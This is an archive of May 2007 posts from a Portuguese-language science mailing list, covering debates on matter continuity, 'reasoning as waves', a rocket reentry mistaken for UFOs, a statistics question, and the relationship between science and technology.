--- Rompimento é união?

--- Moléculas de plástico na casa seis: xeque.


Takata, não é esta minha intenção, jogar xadrez com
vc, nem com ninguém, mas parece que vc só entende esta
linguagem. Perder faz parte do jogo da ciencia também.
Negar os fatos nunca foi o caminho para se fazer
ciencia, foi? O que vc está fazendo aqui é negando um
fato, é por isto esta fadado ao fracasso na defesa de
sua afirmação.


sinceramente
ferrari








--- rmtakata <roberto.takata@bol.com.br> escreveu:

> --- Em ciencialist@yahoogrupos.com.br, Ferrari
> <emailferrari@...>
> > --- Takata, não se faça de bobo, pois de bobo vc
> não
> > tem nada.
>
> Não estou me fazendo de bobo, embora, em
> contrariedade ao q vc diz, eu
> tenha muito de bobo.
>
> > Pra ficar fugindo do xeque mate?
>
> Não estou fugindo, apenas não vou derrubar meu rei
> porq. vc quer dar
> um xeque com um peão desprotegido. Não há mate
> algum.
>
> Vc falou: "E vc percebe que dividir o carro é
> colocar espaço vazio
> entre as partes (espaços cheios)? Quando não há
> espaço vazio entre as
> partes espaços cheios) não há divisão, concorda?"
>
http://br.groups.yahoo.com/group/ciencialist/message/62867
>
> E eu disse:
> "Não. Vc pode dividir o carro sem separar as
> partes."
>
http://br.groups.yahoo.com/group/ciencialist/message/62874
>
> Aí vc perguntou:
> "Ok. Mas como? Pode dar um exemplo?"
>
http://br.groups.yahoo.com/group/ciencialist/message/62995
>
> E eu respondi:
> "Separar aqui entenda-se como afastar - já q vc
> falava em aumentar o
> espaço entre as partes. Vc pode desde simplesmente
> desatarraxar o
> pneu, sem tirá-lo do lugar, até ter porções das
> moléculas de plástico
> do painel q se rompem sem sair do lugar."
>
http://br.groups.yahoo.com/group/ciencialist/message/63045
>
> Como pode ver não há nenhuma fuga. Respondi e dei um
> exemplo de como
> dividir o carro - macroscópica e microscopicamente -
> sem aumentar o
> espaço entre as partes.
>
> O q ocorre é q vc está preso a uma idéia pré-Física
> da continuidade da
> matéria. Coisa q já nos tempos de Demócrito e
> Leucipo se questionava,
> idéia q foi desenvolvida bem depois por John Dalton
> e outros.
>
> Adjacência espacial não implica em continuidade
> material. Do contrário
> vc dirá q gêmeos siameses são uma pessoa só.
>
> []s,
>
> Roberto Takata
>
>


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SUBJECT: Re: [ciencialist] Re: O Que é Raciocinar?
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/05/2007 13:54

Olá João!

Joao >>> Desculpe...

--- Não tem porque se desculpar. Tudo em paz.

Joao >>> ...não entendo o que você escreveu...

--- O mais básico é perceber que sem pulso não tem
comunicação. Ou seja, que a comunicação acontece "por
meio" do pulso. E se o meio é a matéria, então... ???

Joao >>> e creio não concordar com sua visão. A mim
parece tão delirante que não consigo sequer discutir o
assunto.

--- Respeito. E faz sentido achar delirante. Se a
idéia de que a ação do raciocino se propaga pelo meio
(matéria) com o tempo, já foi tida com absurda e
motivo de chacota, faz todo sentido vc achar
delirante.

--- Mas isto não impede o fato dessas letras que voce
está lendo agora serem consequencia de meus raciocinio
de horas atrás se propagando pela matéria. Pode ser um
absurdo. Também acho absurdo. Mas é um "fato" absurdo!
E não é teoria. As letras estão ai de prova.

--- Mas enfim, talvez mude de teoria (idéia) conforme
for falando mais sobre o assunto.




sinceramente
ferrari

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SUBJECT: Mais outra reentrada, agora no sul?
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, UFO_PORTUGAL@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 15/05/2007 14:38

Mais outra reentrada, agora no sul<http://www.ceticismoaberto.com/news/?p=881>


Recebemos e-mails (incluindo de pessoas ameaçadas por homens de preto!)
falando sobre avistamentos de uma bola de fogo no céu na região de Porto
Alegre, Rio Grande do Sul na noite de 14 para 15 de janeiro, agora há pouco
realmente. Os veículos de notícias começaram a noticiar o evento agora, e
como nos casos anteriores, em 2004 sobre o nordeste (duas
vezes!)<http://www.ceticismoaberto.com/ufologia/ovo_et.htm>e no
Reveillon
de 2007 (a infame "enxuarrada de
OVNIs")<http://www.ceticismoaberto.com/news/?p=834>,
notamos que *a reentrada do foguete lançador Soyuz-U* lançado poucos dias
antes de Baikonur estava prevista para aproximadamente o mesmo horário.
Há discrepâncias significativas na previsão de horário e local de queda do
sítio CORDS <http://www.reentrynews.com/2007017b.html>, mas a margem de erro
é também grande. Como de costume, contatamos os especialistas em questão e
postaremos aqui as novidades.

Postado em Ufologia <http://www.ceticismoaberto.com/news/?cat=2> | Por
Mori Comente!
» <http://www.ceticismoaberto.com/news/?p=881#respond>

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nordeste do Brasil No ...
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você confere a imagem de uma condensaçã...
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<http://www.ceticismoaberto.com/news/?p=381>Esqueleto humano gigante
na Arábia (Reprise) Es...


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Takata
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 15/05/2007 15:44


Nestre: mandei um e-mail pessoal mas foi devolvido.... era algo digno de se ver....

sds.,
silvio.

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: E=m.c2
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/05/2007 17:00

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> Takata >>> Vc pode desde simplesmente desatarraxar o
> pneu, sem tirá-lo do lugar.
>
> --- E a tarraxa não faz parte do carro?
>
> --- Tarraxa na casa seis: comi seu bispo.
>
> --- Vc é capaz de desatarraxar a tarraxa sem tirar-la
> do lugar?
>
> --- Tarraxa na casa dois: comi sua torre.

Vamos pelo menos importante. Não existe essa notação em xadrez: "casa
seis", "casa dois". Há a notação algébrica: "A2, B5, C7" (como na
batalha naval), tem tb a notação postal "11, 12, 81", a estenográfica:
"1.b4 c5 2.Bb2 hcg"... Isso corrobora a impressão forte de q vc
*tenta* assimilar o jargão para dar uma falsa idéia de compreensão (de
modo proposital ou não) com o concomitante uso de modo completamente
errado (não apenas por uma assimilação defeituosa do jargão, mas por
um completo desconhecimento da gramática do uso dos termos).

Agora à questão em si. Não estou falando em separar a roda da tarraxa
e sim a roda do carro. A roda não moveu um milímetro nem o carro. A
ligação entre o carro e a roda foi desfeita. O carro foi dividido.

Se quiser, uma serra ultrafina (o filamento monomolecular de Gibson)
poderia cortar o parafuso. Nada sai do lugar.

> Takata >>> até ter porções das moléculas de plástico
> do painel q se rompem sem sair do lugar.
>
> --- E as moléculas de plástico do painel se rompem
> como: permanecendo unidas?

Não permanecem unidas, permanecem próximas. As ligações entre elas
podem se romper de diversos modos - por aquecimento, por exemplo.

> Negar os fatos nunca foi o caminho para se fazer
> ciencia, foi?

Não. Mas é o q *vc* está fazendo: negar fatos. Provavelmente por sua
incompreensão dos fenômenos naturais. Claro, ninguém é obrigado a
saber sobre os detalhes do funcionamento da natureza; mas tb ninguém é
obrigado a contratar um pedreiro q não sabe o q é tijolo.

[]s,

Roberto Takata



SUBJECT: RES: [ciencialist] O Que é Raciocinar? ::: (artigo)
FROM: "Ricardo" <ricardos@infolink.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 15/05/2007 17:19



-----Mensagem original-----
De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Ferrari
Enviada em: quinta-feira, 10 de maio de 2007 14:26
Para: ciencialist@yahoogrupos.com.br
Assunto: [ciencialist] O Que é Raciocinar? ::: (artigo)


> Observe seu comportamento mental enquanto estiver
> lendo este texto. Estou me comunicando com você neste
> exato momento, não estou?

Sim, é claro... mas, nada de novo ou interessante aqui...

> Observe que fenomeno
> fantástico está acontecendo: você está pensando agora,
> ao ler este texto, exatamente o mesmo que estava
> pensando ontem, ao escreve-lo.

Não estou não. Estou lendo um texto e o achando incrivelmente superficial,
enquanto vc o enxergou, pelo seu tom de mistério e emoção, com uma aura
inovadora e impactante.

> Parece até que estou
> dentro da sua cabeça, pensando por você. Isto não é
> fantástico?

Percebe, agora, o que quero dizer com o "tom de mistério e emoção"?

> Mas, sendo assim, lhe pergunto: você está
> captando meu raciocínio com os olhos? Tem algum
> raciocínio pulando deste texto (na tela do computador)
> para os seus olhos? Claro que não! Mas, então, se seus
> olhos não estão captando meus raciocínios de ontem,
> então, como é que você está lendo e pensando agora
> exatamente o que pensei ontem?

Não estou pensando o que vc pensou... estamos nos comunicando. O fato de nos
comunicarmos é interessante, eu acho, mas vc tem algo a acrescentar, além
desta mera observação? Tem algum objetivo este texto?




> Simples: seus olhos
> estão capatando hoje, as ondas que o meu racioicinio
> produziram ontem, na materia comum em que nossos
> cérebros existem. Os seus olhos não podem capatar o
> meu raciocínio diretamente, pois o meu raciocínio é
> algo imaterial e inerente ao meu cérebro. Assim, você
> está lendo e pensando agora o que pensei ontem,
> porque, ao ler (agora), você está captando a ação
> (ondas) que o meu raciocínio produziu no meio material
> com o tempo, e que está se propagando também com o
> tempo. Ao receber, no seu tempo, estes impulsos do
> meio e raciocina-los, seu cérebro está fazendo hoje,
> ao ler este texto, o inverso do que o meu estava
> fazendo ontem, ao escreve-lo. Ou seja, raciocinar é
> fazer ondas na matéria (no meio) que se propagam com o
> tempo.

Se suas "ondas" são metáforas para a comunicação, tudo bem, mas continuamos
sem nada de novo (ou interessante). Se não forem metáforas, vamos partir
para mais uma daquelas conversas sem sentido e sem qualquer embasamento ou
comprovação.

Agora quanto ao seu raciocínio ser algo imaterial, devo dizer que discordo.
Não acho que nada no comportamento humano seja imaterial. Vejo apenas um
cérebro em um corpo humano, em funcionamento. Todos podemos acreditar em
algo mais, como uma alma, um deus ou outras manifestações "imateriais", mas
até que se comprove o que quer que seja, não passa de crença pessoal. Que
deve ser respeitada, mas não é ciência.

Um abraço,

Ricardo




SUBJECT: Dúvida de Estatística
FROM: "ssilva" <ssilva@smad.curitiba.pr.gov.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 15/05/2007 17:37

Pessoal,

Estou ajudando um colega e me deparei com um exercício de estatística em que aplicando a regra de Sturges*, classificando a amostragem em classes, encontro para uma das classes que a frequência absoluta é igual a zero.

Pergunta 1: encontrei nos manuais da internet (infelizmente não possuo nenhum livro deste assunto) que deve ser evitado montar as classes onde apareçam frequências igual a zero. Por quê?

Pergunta 2: Aumentando ou diminuindo as classes, estou alterando algum fator importante (como a variância, por exemplo) ou isto é irrelevante?

* i=1+3,3 log n; onde i é o número de classes e n é o número de dados da amostragem



Sandro Silva

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Dúvida de Estatística
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/05/2007 18:17

--- Em ciencialist@yahoogrupos.com.br, "ssilva" <ssilva@...> escreveu
> possuo nenhum livro deste assunto) que deve ser evitado montar as
> classes onde apareçam frequências igual a zero. Por quê?

Em parte porq. quebra as condições de análises paramétricas q dependem
de uma distribuição normal. De outra parte, classes de freqüência zero
podem enviesar o cálculo de médias e outros parâmetros.

> Pergunta 2: Aumentando ou diminuindo as classes, estou alterando algum
> fator importante (como a variância, por exemplo) ou isto é
> irrelevante?

Certamente q altera. (Vc pode fazer alguns exemplos e calcular como os
parâmetros estatísticos podem ser afetados.)

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] P/ Gil - Re: Determinismo e incerteza
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/05/2007 19:04

Olá, Oráculo:

Acho que não temos grandes discordâncias nesta questão. Considero
ciência e tecnologia como coisas diferente, no entanto, a interação
entre eles é catalitica: Tecnologia se beneficia e potencializa com a
Ciência, mas a Ciência se beneficia e se potencializa com a
tecnologia.
Você enfatiza o valor da ciência para a produção de tecnologia, o que
não contradiz o meu ponto de vista, embora, da forma que você afirme,
dê a impressão que você está "puxando a sardinha" pro lado da ciência
(você precisa confessar que é cienciófilo :))

Você e o Takata me mostraram que a relatividade tem uso na correção
dos dados dos GPS, e mesmo eu nao compreendendo bem os cálculos, dá
pra ver que é uma relação bastante direta.

As associações indiretas é que me deixam intrigado, como vou explicar
a seguir, com um bom exemplo que vc me sugeriu:

> Bem, acho isso uma evidência forte da dependência de certas
> tecnologias da teoria pura. Se construirmos computadores quanticos (e
> eu estou usando SE no lugar de QUANDO, por cautela..:-), isso se
> deverá a teoria que sustenta a física e a mecânica quantica, não?

Isso é parte da questão: Gostaria de saber se, quando uma empresa
anunciar um computador quântico, eu estarei comprando realmente um
computador que faça jus ao nome, ou uma campanha de marketing, ou
mesmo uma "aproximação" conveniente, que só ficará evidente como
"aproximação" para os feras que tiverem acesso a informações muito
mais confiáveis e bem elaboradas do que as que eu tenho acesso no
mundo leigo.

Veja quantas vezes o termo "nano" é invocado, mesmo para tecnologias
que, 5 ou 6 anos atrás, seriam claramente consideradas como micro, mas
não, Nanotecnologia, segundo a definição rigorosa do termo.

Gil


SUBJECT: P/ Gil - Re: Determinismo e incerteza
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/05/2007 19:18

--- Em ciencialist@yahoogrupos.com.br, Gil <nanolink01@...> escreveu
> Você e o Takata me mostraram que a relatividade tem uso na correção
> dos dados dos GPS, e mesmo eu nao compreendendo bem os cálculos, dá
> pra ver que é uma relação bastante direta.

Outra aplicação bastante direta é a da produção de energia nuclear. A
famosa fórmula E = m.c2 dita a quantidade de combustível nuclear
necessário para se produzir uma dada quantidade de energia.

O microscópio de tunelamento quântico usa a teoria quântica para se
visualizar amostras na escala atômica.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] O Que é Raciocinar? ::: (artigo)
FROM: "Marcos Ludwig" <reinada@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/05/2007 19:30

> A escola tinha um ambiente muito agravavel, todo mundo ali gostava muito daquela filosofia de estudo, mas os violões eram um lixo.

Marcelo Ferrari,

cite o nome dessa escola, o seu endereço e o nome completo do
professor que te fez a inesquecível pergunta, por gentileza.

Grato,
--
Marcos Ludwig
[ marcosludwig@gmail.com (GTalk/MSN) ]
[ www.sentinelas.org/reinada ]


SUBJECT: RES: [ciencialist] P/ Gil - Re: Determinismo e incerteza
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 15/05/2007 19:31

Caro Léo,



Lí, com a atenção que merece qualquer artigo seu.Não o havia lido, ainda.
O artigo em foco não carece de reparos, está muito bom, excelente, diria, e
atual.

Sugiro que as pessoas que só têm notícias do que é física, e ainda assim
pretendem discute, que, antes, leiam os artigos do Imperdível,

como este ora postado. Se tiverem dúvidas, ponham estas dúvidas no fórum,
que o próprio Prof. Léo, ou outro participante,

teriam o maior prazer em dirimí-las. O enfoque dado ao importante e não
trivial tema é bastante pessoal, no estilo Léo. Aprendí mais coisas.

É isso.

Parabéns ao Léo.



Sds,

Victor.



De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Luiz Ferraz Netto
Enviada em: terça-feira, 15 de maio de 2007 09:59
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] P/ Gil - Re: Determinismo e incerteza



Estou acompanhando com satisfação essa thread; realmente inspiradora. É
difícil saber a linha divisória entre o insight da tecnologia e a base
teórica da própria. Ao começar essa thread (e seu desdobramento) fui reler
um texto meu já colocado no Imperdível no século passado para ver se
necessitava de 'upgrade' ... mas, gostei do modo que está! Quem quiser
verificar se concorda comigo ou não (estou torcendo para que não concordem!)
dê uma lidinha em:

http://www.feiradeciencias.com.br/sala19/texto89.asp

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br <mailto:leobarretos%40uol.com.br>
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "oraculo333" <oraculo@atibaia.com.br <mailto:oraculo%40atibaia.com.br> >
Para: <ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br> >
Enviada em: segunda-feira, 14 de maio de 2007 17:43
Assunto: [ciencialist] P/ Gil - Re: Determinismo e incerteza

Olá Gil

Gil: "Acho que algumas coisas vou tentar explicar melhor:"

Acho que fez um bom trabalho antes, e eu concordo com boa parte de
suas colocações. Apenas achei que existem circunstâncias onde
realmente a teoria é parte importante dos desdobramentos concretos da
tecnologia.

Gil: "Bem, é especialmente nas tecnologias de ponta e teorias de ponta
que a fronteira fica mais difusa. Repare que você falou de previsões ,
teorias ou dispositivos feitos no inicio do século 20 (ou até antes),
e não, nas novas teorias, dos anos 50/60, pra cá."

Com certeza, e isso porque, lembrando a frase que o Alberto enviou,
não se sabe no momento do nascimento para que serve a criança..:-)

É preciso tempo para que uma teoria, em especial na física teórica,
pura, se transforme em algo concreto, material ou tecnológico. Mas o
que tentei apresentar, é que muito do que é tecnológico, não existiria
sem a teoria, ainda que antiga (e por isso mesmo bem testada e
estabelecida).

[ ... ]





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] P/ Gil - Re: Determinismo e incerteza
FROM: "Alberto Mesquita Filho" <albmesq@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 15/05/2007 20:05

----- Original Message -----
From: "Gil" Sent: Tuesday, May 15, 2007 7:04 PM
Subject: Re: [ciencialist] P/ Gil - Re: Determinismo e incerteza

> Tecnologia se beneficia e potencializa com a Ciência, mas a Ciência
> se beneficia e se potencializa com a tecnologia.

Grande verdade e que, via de regra, costuma ser deixada de lado. Os
físicos, por exemplo, estão aguardando com ansiedade a construção de
grandes aceleradores de partículas, obviamente uma obra da tecnologia,
e que poderá colocar em prova algumas de suas teorias. A tecnologia
utilizada nesta construção, por outro lado, apóia-se na aceitação de
teorias centenárias e, quiçá, verdadeiras. Parece-me que estamos
frente áquela história do ovo e da galinha. Quem nasceu primeiro, a
ciência ou a tecnologia?

> Gostaria de saber se, quando uma empresa anunciar um computador
> quântico, eu estarei comprando realmente um computador que faça jus
> ao nome, ou uma campanha de marketing, ou mesmo uma "aproximação"
> conveniente, que só ficará evidente como "aproximação" para os feras
> que tiverem acesso a informações muito mais confiáveis e bem
> elaboradas do que as que eu tenho acesso no mundo leigo.

Delírios à parte [;-)], eu diria que você estaria comprando um
computador que, hipoteticamente, atende alguns (quiçá todos) caprichos
da fícção quântica, mas nada impede que seu funcionamento possa vir a
ser explicado por outra teoria não tão ficcionista quanto esta. Quanto
à denominação, eu diria que o computador seria tão quântico quanto o
"tunelamento quântico" [fenômeno este explicado por Newton no século
XVII utilizando argumentos 100% clássicos]. Ou então que esse
computador seria tão quântico quanto a "cura quântica", o "espiritismo
quântico", o "teletransporte quântico" e centenas de outras baboselas
quânticas criadas dentro ou fora dos institutos de física da
atualidade.

[ ]´s
Alberto
http://ecientificocultural.com/indice.htm
Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
coulombiana e a Terra se move. E a história se repetirá.



SUBJECT: P/ Gil - Re: Determinismo e incerteza
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/05/2007 23:48

--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
> Outra aplicação bastante direta é a da produção de energia nuclear. A
> famosa fórmula E = m.c2 dita a quantidade de combustível nuclear
> necessário para se produzir uma dada quantidade de energia.
>
> O microscópio de tunelamento quântico usa a teoria quântica para se
> visualizar amostras na escala atômica.

De todo modo deparei-me há dois minutos com esta citação atribuída a
Feynman: "Science is a lot like sex. Sometimes something useful comes
of it, but that's not the reason we're doing it."

[]s,

Roberto Takata



SUBJECT: [RN] MOSCAS E LIVRE ARBÍTRIO
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/05/2007 23:54

G1.COM.BR, 15-05-2007

MOSCAS TÊM SINAIS DE LIVRE ARBÍTRIO
http://g1.globo.com/Noticias/Ciencia/0,,MUL37082-5603-5997,00.html
-----------------
[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] P/ Gil - Re: Determinismo e incerteza
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 16/05/2007 06:57

Olá (RCA) Victor,

agradeço a massagem, o dia de hoje já está salvo (e olhe que hoje comecei às 5:00 h da matina!).
Todavia, do texto em questão, e da thread em andamento, optei por 'nenhum upgrade' simplesmente devido ao seguinte parágrafo onde, o dentro dos parêntesis, estão os destaques:

+++
Esta possibilidade (obter de volta pelo menos aquilo que se dá) foi uma força propulsora natural para as investigações teóricas sobre o funcionamento da máquina a vapor, no início do século dezenove. (O público em geral costuma dar um valor demasiadamente baixo às conquistas teóricas que servem de base a uma criação inventiva coroada de êxito. O próprio Watt, quando desenvolveu a sua máquina a vapor, foi guiado pelas pesquisas de Black sobre o calor latente. No entanto, quantas pessoas, conhecendo a invenção de Watt, percebem que ela só foi possibilitada pelo alicerce criado pela teoria de Black?)
+++

Os rapazes inventores do transistor dentro de uma garagem, por sua vez, o inventaram tendo em mente a 'eletrônica do dia-a-dia' e nem sequer passou-lhes pela cabeça a 'física quântica'. E funcionou! E hoje querem justificar essa descoberta "graças" à quântica! Eu, como o sabem, sou mais Maxwell que 'Chorodinger'! Algumas ligeiras correções relativistas em Maxwell e eis tudo funcionando e explicadinho! Do mesmo modo, algumas bem menos ligeiras correções em Newton e eis tudo funcionando e explicadinho! 11 dimensões ... BAH! (não Bach!, não fucem na minha tocata e fuga em ré menor!)

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "J.Victor" <j.victor.neto@uol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: terça-feira, 15 de maio de 2007 19:31
Assunto: RES: [ciencialist] P/ Gil - Re: Determinismo e incerteza


Caro Léo,



Lí, com a atenção que merece qualquer artigo seu.Não o havia lido, ainda.
O artigo em foco não carece de reparos, está muito bom, excelente, diria, e
atual.

Sugiro que as pessoas que só têm notícias do que é física, e ainda assim
pretendem discute, que, antes, leiam os artigos do Imperdível,

como este ora postado. Se tiverem dúvidas, ponham estas dúvidas no fórum,
que o próprio Prof. Léo, ou outro participante,

teriam o maior prazer em dirimí-las. O enfoque dado ao importante e não
trivial tema é bastante pessoal, no estilo Léo. Aprendí mais coisas.

É isso.

Parabéns ao Léo.



Sds,

Victor.



De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Luiz Ferraz Netto
Enviada em: terça-feira, 15 de maio de 2007 09:59
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] P/ Gil - Re: Determinismo e incerteza



Estou acompanhando com satisfação essa thread; realmente inspiradora. É
difícil saber a linha divisória entre o insight da tecnologia e a base
teórica da própria. Ao começar essa thread (e seu desdobramento) fui reler
um texto meu já colocado no Imperdível no século passado para ver se
necessitava de 'upgrade' ... mas, gostei do modo que está! Quem quiser
verificar se concorda comigo ou não (estou torcendo para que não concordem!)
dê uma lidinha em:

http://www.feiradeciencias.com.br/sala19/texto89.asp

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br <mailto:leobarretos%40uol.com.br>
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "oraculo333" <oraculo@atibaia.com.br <mailto:oraculo%40atibaia.com.br> >
Para: <ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br> >
Enviada em: segunda-feira, 14 de maio de 2007 17:43
Assunto: [ciencialist] P/ Gil - Re: Determinismo e incerteza

Olá Gil

Gil: "Acho que algumas coisas vou tentar explicar melhor:"

Acho que fez um bom trabalho antes, e eu concordo com boa parte de
suas colocações. Apenas achei que existem circunstâncias onde
realmente a teoria é parte importante dos desdobramentos concretos da
tecnologia.

Gil: "Bem, é especialmente nas tecnologias de ponta e teorias de ponta
que a fronteira fica mais difusa. Repare que você falou de previsões ,
teorias ou dispositivos feitos no inicio do século 20 (ou até antes),
e não, nas novas teorias, dos anos 50/60, pra cá."

Com certeza, e isso porque, lembrando a frase que o Alberto enviou,
não se sabe no momento do nascimento para que serve a criança..:-)

É preciso tempo para que uma teoria, em especial na física teórica,
pura, se transforme em algo concreto, material ou tecnológico. Mas o
que tentei apresentar, é que muito do que é tecnológico, não existiria
sem a teoria, ainda que antiga (e por isso mesmo bem testada e
estabelecida).

[ ... ]





[As partes desta mensagem que não continham texto foram removidas]



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SUBJECT: Re: [ciencialist] P/ Gil - Re: Determinismo e incerteza
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 16/05/2007 08:23

"Alberto Mesquita Filho" dirigindo-se a "Gil":

Gil: >> Tecnologia se beneficia e potencializa com a Ciência, mas a Ciência
> se beneficia e se potencializa com a tecnologia.<<

Alberto: > Grande verdade e que, via de regra, costuma ser deixada de lado. Os
físicos, por exemplo, estão aguardando com ansiedade a construção de
grandes aceleradores de partículas, obviamente uma obra da tecnologia,
e que poderá colocar em prova algumas de suas teorias. A tecnologia
utilizada nesta construção, por outro lado, apóia-se na aceitação de
teorias centenárias e, quiçá, verdadeiras. Parece-me que estamos
frente áquela história do ovo e da galinha. Quem nasceu primeiro, a
ciência ou a tecnologia?<

Léo: > Minha mania de imiscuir-me na 'conversa alheia e com privacidade', é notória, mas, já imiscuíndo.......

A Ciência nasce primeiro! Mesmo que seja, embrionariamente, apenas na mente privilegiada. Nenhum leigo em Ciência entra num laboratório devidamente aparelhado e diz "Vou inventar o Cícloton! (já com nome e tudo mais!!!!). Vou aproveitar-me desse acelerador de partículas para exemplificar isso. Parece-me justo não? Mas, podem pensar em algum outro exemplo em oposição a essa idéia.
Do magnetismo, Lawrence e Livingston já sabiam de duas coisas: R = mv/qB e T = 2(pi)m/qB ; até jovens do terceiro ano do ensino médio sabem isso (e talvez tenham memorizado assim: "Raios, Me Vê um QuiBe!" e "Tesão, fizeram (pi,pi) no Meu QuiBe.") e perceberam que T é independente de R e de v. Assim, desenharam o primeiro cícloton, os dois Ds e a tensão alternada sincronizada entre eles.
Logo depois perceberam, dado o avanço da relatividade que, na realidade o período T acima não é totalmente independente de v para velocidade comparáveis à da luz, PORQUE a massa m aumenta com a velocidade de acordo com m= mo/sqrt(1-v2/c2). Por essa razão, cíclotons convencionais podem acelerar prótons somente até 20 MeV. Entretanto, se o período T da tensão alternada aplicada aos Ds for aumentando à medida que as massas relativas das partículas aumentam, não haverá limite (além da dificuldade de construir eletroímãs) para a energia possível. Este tipo de cícloton no qual o período de oscilação T varia durante a aceleração é o sincrocícloton.
Este, com algumas modificações podem acelerar prótons com energia cinética além dos 730 MeV! O sincrocícloton de Cornell acelera até 1,2 BeV e o Bevatron do Brookhaven brinca com os 6,2 BeV. O Bévatron novo vai aos 30 BeV e o novíssimo (não sei se já está pronto) chegará aos 200 BeV.
Primeiro a teoria (Newton+Maxwell+Einstein), depois a tecnologia!
E cadê a quântica? Ou será que ja construiram um bévatron quântico e não estou sabendo?

[]'

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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
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> Gostaria de saber se, quando uma empresa anunciar um computador
> quântico, eu estarei comprando realmente um computador que faça jus
> ao nome, ou uma campanha de marketing, ou mesmo uma "aproximação"
> conveniente, que só ficará evidente como "aproximação" para os feras
> que tiverem acesso a informações muito mais confiáveis e bem
> elaboradas do que as que eu tenho acesso no mundo leigo.

Delírios à parte [;-)], eu diria que você estaria comprando um
computador que, hipoteticamente, atende alguns (quiçá todos) caprichos
da fícção quântica, mas nada impede que seu funcionamento possa vir a
ser explicado por outra teoria não tão ficcionista quanto esta. Quanto
à denominação, eu diria que o computador seria tão quântico quanto o
"tunelamento quântico" [fenômeno este explicado por Newton no século
XVII utilizando argumentos 100% clássicos]. Ou então que esse
computador seria tão quântico quanto a "cura quântica", o "espiritismo
quântico", o "teletransporte quântico" e centenas de outras baboselas
quânticas criadas dentro ou fora dos institutos de física da
atualidade.

[ ]´s
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coulombiana e a Terra se move. E a história se repetirá.



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SUBJECT: ABC da CIENCIA
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 16/05/2007 09:32

Olá amigos da C-List
Diversos são os motivos que me levam a postar esse (longo) texto tirado do Imperdível.
Primeiro porque ele é sempre pertinente e em especial para os 'mais afastados' da boa Ciência e da rigidez de seus termos, como é o caso do Ferrari, Bradock e outros listeiros que já passaram por aqui.
Segundo, por ser uma boa oportunidade para fazer um 'upgrade' na terminologia e acréscimos propostos pelos listeiros.
Terceiro, para que tenhamos um 'ponto de apoio' melhor que o de Arquimedes para as contínuas discussões que engrandecem essa bem pensada lista devida ao Brudna.
Quarto, para que possamos acrescentar 'verbetes' próprios dos demais ramos da Ciência já bem assentada.
Quinto, porque muitas idéias e conceitos já postados aqui na C-List não podem ficar perdidos no emaranhado do Yahoo; devem ser acrescentados ao ABC da Ciência.
Conto com vcs. Obviamente, toda correção (em qqer aspecto) é bem vinda!
aquele abraço,
Léo

++++++++++++++++++++++++++++++++++++++++++++++++
ABC da Ciência

Boa ciência não se faz com terminologia relaxada e raciocínio malconexo.

leobarretos@uol.com.br

Apresentamos os verbetes numa seqüência que nos parece didática. Para referência, os verbetes são numerados e o índice alfabético, a seguir, facilitará a busca deles.
